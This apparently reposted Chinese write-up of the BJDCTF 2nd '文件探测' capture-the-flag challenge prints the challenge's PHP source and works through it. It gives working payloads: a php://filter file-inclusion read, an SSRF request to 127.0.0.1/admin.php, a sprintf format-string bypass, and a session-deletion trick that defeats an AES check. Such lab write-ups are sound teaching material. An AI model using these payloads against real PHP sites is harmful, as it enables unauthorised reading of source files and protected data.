当前位置: 代码迷 >> 综合 >> [BJDCTF 2nd]文件探测
  详细解决方案

[BJDCTF 2nd]文件探测

热度:43   发布时间:2024-02-06 09:03:07.0

题目
图片.png
过程
1.f12发现hint,里面有home.php。
图片.png
进入home.php,发现url改变,想到php伪协议
/home.php?file=system
尝试php://filter/read=convert.base64-encode/resource=home.php发现报错,联想之前的一个题,可能进去之后自己拼接php,将.php去掉。
读到源码。里面有很多过滤,自己注释一下。

<?phpsetcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);if(isset($_GET['file'])){if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {  //过滤了^、~、&、|字符die("forbidden");}if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){   //不能包含含有flag字符的文件die("not now!");}if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){  //不能包含含有admin字符的文件die("You! are! not! my! admin!");}if(preg_match("/^home$/i", $_GET['file'])){    //不能只包含home字符串die("禁止套娃");}else{if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){$file = $_GET['file'].".php";}else{$file = $_GET['file'].".fxxkyou!";   //只能以home和system结尾}echo "现在访问的是 ".$file . "<br>";require $file;}
} else {echo "<script>location.href='./home.php?file=system'</script>";
}

2.读system.php源码

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";header("Refresh:0.1;url=index.php");die;
}$str2 = '       Error:  url invalid<br>~$ ';
$str3 = '       Error:  damn hacker!<br>~$ ';
$str4 = '       Error:  request method error<br>~$ ';?><?php$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {$url = $_POST['q2'].".y1ng.txt";$method = $_POST['q3'];$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";echo $str1;if (!preg_match($filter1, $url) ){die($str2);}if (preg_match($filter2, $url)) {die($str3);}if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {die($str4);}$detect = @file_get_contents($url, false);print(sprintf("$url method&content_size:$method%d", $detect));
}?>

重点在下半部分。传的参数不能有flag。请求头必须是127.0.0.1
三个post的参数
q1:没有什么过滤
q2:后面拼接y1ng.txt。后面加一个注释符#让其失效。
q3:字符串要么get开头,要么post开头
看到$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";结合下面的file_get_contents()函数,这里感觉还会有一个admin.php等着我们去读取。
######重点:

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

这里有一个%d,会使我们读到的源码,以二进制的形式输出。而我们要做的就是让源码以%s字符串格式输出。此处参考Ye’s师傅第一个方法。

  1. %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
    print(sprintf("$url method&content_size:"GET%1\$s%d", \$detect)); %1$s会以字符串格式输出$detect,而%d会输出0
    2.将%d转义掉,替换成%s从而输出字符串。对于sprintf()函数,对百分号的转义是用2个%而不是反斜线
    print(sprintf("\$url method&content_size:"GET%s%%d", \$detect)); %d前的%被转义,因此失效。
    最终读取admin.php的payload为
    q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%s%
    图片.png
    3.读到admin.php源码。
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fakefunction aesEn($data, $key)
{$method = 'AES-128-CBC';$iv = md5($_SERVER['REMOTE_ADDR'],true);return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}function Check()
{if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))return true;elsereturn false;
}if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} else {echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);if (isset($_GET['decrypt'])) {   //只要传入decrypt参数就不会生成随机数$decr = $_GET['decrypt'];if (Check()){$data = $_SESSION['secret'];include 'flag_2sln2ndln2klnlksnf.php';$cipher = aesEn($data, 'y1ng');  //注意!这里加密的内容是从SESSION中取的,突破点就在这里if ($decr === $cipher){echo WHAT_YOU_WANT;   } else {die('爬');}} else{header("Refresh:0.1;url=index.php");}
} else {//I heard you can break PHP mt_rand seedmt_srand(rand(0,9999999));   //这里的种子是真随机了,无法爆破$length = mt_rand(40,80);$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

php种子,这次是真随机了。没法爆破。看一下算法。
对那个随机数$_SESSION[‘secret’]进行aes加密操作,如果加密结果和我们传进去的decrypt相同就会输出flag:
这个生成的不能被破解的随机字符串被放在了session中,如果没有了session就没有了这个随机字符串,只要通过删除PHPSESSID将SESSION置空即可。

session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。
引用自: https://www.jianshu.com/p/9c031dee57b7
这样一来就有了思路,访问admin.php时删除cookie。
4.此处计算aes的脚本。

<?php
function aesEn($data, $key)
{$method = 'AES-128-CBC';$iv = md5('8.8.8.8', true); // your global ip address herereturn  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}$cipher = aesEn('', 'y1ng');
echo $cipher;

这里还有个坑,密钥中是有+符号的,直接用明文去访问得不到Flag!所以URL编码一下,然后删除掉SESSION再访问就可以得到Flag: